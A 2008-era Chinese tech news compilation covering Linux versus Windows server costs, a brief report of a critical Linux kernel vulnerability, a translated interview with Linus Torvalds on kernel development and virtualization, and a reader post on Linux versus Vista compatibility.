此外,所谓的 Linux相比较Windows的成本优势也面临着Windows的挑战.众所周知企业级服务器系统的所有成本包括硬件、软件和支持费用.诚然, Linux软件的部署成本相对于Windows较为低廉,但对于企业来说,部署之后的服务和维护至关重要,甚至要超出部署系统的本身.刚刚与微软签署了 WindowsServer2008预装协议的中国主流服务器厂商之一的宝德公司常务副总裁马竹茂在接受《中国电子报》记者采访时称,相对于中小企业而言,由于他们没有专门的IT管理人员,所以他们出于易于使用和维护成本的考虑,更愿意选择Windows操作系统.

由此可见,在未来的Windows和Linux的竞争中,面临Windows在服务器领域应用的不断成熟和Unix向Linux迁移的减缓,如何进一步走向高端,降低服务和维护的成本以争取新的用户是Linux持续发展的关键.

Linux内核曝危急漏洞

来自Secunia的安全人员已经发现了Linux内核中的“危急”等级安全缺陷,这一版本的Linux内核被大量的分发套件所用.
该缺陷包含三个bug,可让未经授权的用户读取或写入内核内存位置或访问某些资源,攻击者可以利用该漏洞制造拒绝服务攻击,泄露保密信息甚至获得root权限.
该缺陷影响所有版本的Linux内核 2.6.24.1,其中一个还打了补丁仍不奏效,其中应用该内核的分发套件包含Ubuntu, Turbolinux, SuSE, Red Hat, Mandriva, Debian等,几乎涵盖了绝大多数Linux分发产品.

Linus眼中的世界

2008年Linux.conf.au大会目前正在澳大利亚的墨尔本举行,Linux之父Linux Torvalds在会议期间接受了来自Andrew Hendry的采访,感兴趣的读者请随我一同往下看:
他没有手机,且引以为傲。他还认为“虚拟化”有些许言过其实了。让我们看看从Linux宗师Torvalds这里还能了解到什么。
Torvalds:嗯,人们总会为编写新代码、加入新特性之类的事情而兴奋。我们的做法是,用两个星期的时间作为合并窗口,所有新代码都在这段时间加入。 在这段时间里,每个人都真的很开心,因为这些事情很有意思,加入新代码并因此而自豪。可是当这两个星期一过去,就得确保所有bug都被清除了,我们会收到 来自于真正使用这些新特性用户的报告,这时工作起来就不那么带劲了,debug可不像一开始写代码那么有趣。

所以,最大的困难就在于让大家在下一个合并窗口前别再写新的代码了(通常这个间隔是两个月)。大家需要集中精力解决用户反馈的上个合并窗口中的bug,而非写新的代码。人人都知道这很重要,可是它确实没有编写新代码让人激动。我觉得这是在内核开发中最大的社会问题。

Torvalds: 在过去几年里我真正所做的事情是“沟通”。我最终合并其他人所写的代码。实际上除了有关内核的一些工具,我自己却很少写内核代码。我为源码控制管理工具编 写代码,用它来追踪每个人的工作情况。代码来自不同的人,每个补丁都被按正确次序单独跟踪,然后合并到一起。我把合并的代码写如内核。相对于开发者,我更 多地像是个技术领袖,在过去大约5年的时间里都是如此。

Torvalds:我是KDE的用户,不过KDE 4我还没用过。我不想赶时髦。过去我确实发送错过误报告之类,但我还有时间去升级。大概我会等到 KDE 4.1左右或者等到一些初期问题都被解决的时候。

Torvalds: 我根本就没有手机!我讨厌电话,因为我是那种工作时全神贯注的人,如果有人给我打电话,我就完全没办法集中注意力。我恨电话,因为它们总会干扰你,而手机 就更可恨了,因为它一直都粘着你,所以我根本就不用手机。我的工作间里有一台早期的Linux手机,那是免费的,但它是关着的。我所有的机器上都有 Linux,唯独电话上没有。

Torvalds:我想我们已经收到了吧。他们做的一件大事是电源管理,他们在没有程序运行的时候关闭 CPU却让屏幕能继续亮着。这是不久前提交进来的。我们对时间的看法更灵活了——我们确实能在更长的时间里避免时钟中断发生。我想OLPC已经参与进来 了,不管代码是否直接发给了我。

Torvalds:我想它有点言过其实了,“虚拟化”是时髦词汇中的一个。对虚拟化感兴趣的人大概有三种 情况。第一种是桌面应用,用虚拟器运行另一种操作系统,例如用VMWare来在Linux机器上运行Windows。我个人对此一点兴趣也没有,为何我想 在Linux机器上运行Windows?

第二是许多商务人士用虚拟化环境来更好地利用他们的计算机。他们有台很强悍的机器,但他们想运行很多不同的东西而又彼此保持隔离,所以他们用虚拟化来分割独立的机器。如果你有一台大机器能分割成小部件,这对IT人士有好处,能够更好地管理,而这也不是我需要的。

第三是运行过时的操作系统,或者一个操作系统的旧版本,因为有些程序非得这样才能运行。但是这些原因都不符合我的情况,所以我个人对虚拟化不是很感兴趣,它跟我做的事无关。

事实上,我对虚拟化完全不感兴趣并不代表我不支持它,我们已经有了很多在Linux上支持的虚拟化的方式,并非要我感兴趣了才能让事情发生。

Torvalds: Linux用在商业环境中的一个原因,我想是因为它非常灵活。不单单是便宜,还能把它调整到适合特定的用途。在开发者的世界里有两个原因,很明显首先价格 总是一个大问题,特别是当你想逐步建立自己IT系统的时候。当你不知道如何运行而且又无修改的时候,买一个预先做好的系统是毫无用处的。当面对一个完全设 置好的系统,你只有很基本的了解却根本无法看出它是如何运行时,就完全无法从零开始获得提升,你无法从中学到东西。你可以学着去使用它,但无法学着去再创 造一个类似的东西。

所以,我觉得OLPC一件做得很好的事情就是他们提供的很多应用程序都是用非常易用的编程语言写出来的。那可能不是最 高效,也不一定是我会用到的语言,但Python确实很容易学,非常直观。我想他们有一个特别的按钮,当你在用这些程序时,只要按一下就能看到源代码,因 此你能彻底了解程序是如何工作的。当你把事情搞乱时,你可以说:“我想回到原始的状态,因为我的改编程序行不通”。但我想假如真的不仅仅是提供电脑给人们 使用,而是还希望把计算机技术传授给他们的话,不单单是是会用文字处理器,而是了解它如何工作的时候,Linux和其他开源项目就当仁不让了。如果没有源 代码,用户只面对的只是一个黑箱。

别误解我,价格是很重要的,但我认为能获得源代码来学习要重要得多得多。即使大多数人看源码,仅仅把电脑当成工具来用,但哪怕只要有一小部分人去看源码并试着理解它,就会获得计算机科学中虽然小但却是核心的能力——无论在哪儿,哪怕是在撒哈拉以南的非洲。

Torvalds: 过去15年中,Linux完全做到了我想要它做的每件事。早先我的激励来自外部:来自于其他人发现,我发现不了问题。就这么简单,现在也是这样。所以真正 激励我的是其他人遇到的问题,有时他们也会让我觉得“真是疯了”,但有时正是这些疯狂的人遇到最有趣的难题。

我个人一直对桌面应用感兴 趣,因为我习惯把系统当工作站,但它的桌面功能却很有限。因为很多用户关心的我却并不关心,所以个人来说,我会对与我的使用体验相近的那些桌面用户发现的 问题更感兴趣。但同时,一些技术上更有意思问题来自于嵌入式环境。他们对Linux非常严格的要求,因为通常在一个很小的机器上做,专注一个功能,需要便 宜的机器,这样可以才卖出千万份。桌面用户要好过得多,因为他们的机器其实很大很强,但真正有趣的技术挑战有时是来自于移动用户。尽管他们经常抱怨的是用 户界面倒不是内核。

Linux比Vista更兼容Windows

感谢tunpishuang的投递
今天看到了一则Slashdot的消息称:Linux比Vista更兼容Windows。翻译一下吧:
别压榨我的游戏:
我已经使用了1年的Vista(从beta1开始),当然它很慢,很大(XP的10倍多),Aero扼杀了系统性能(尽管aero特效由显卡来渲染),网络是慢得可怜啊,等等,我们都知道Vista是很烂的。
查看:Linux has better Windows compatibility than Vista 閱讀全文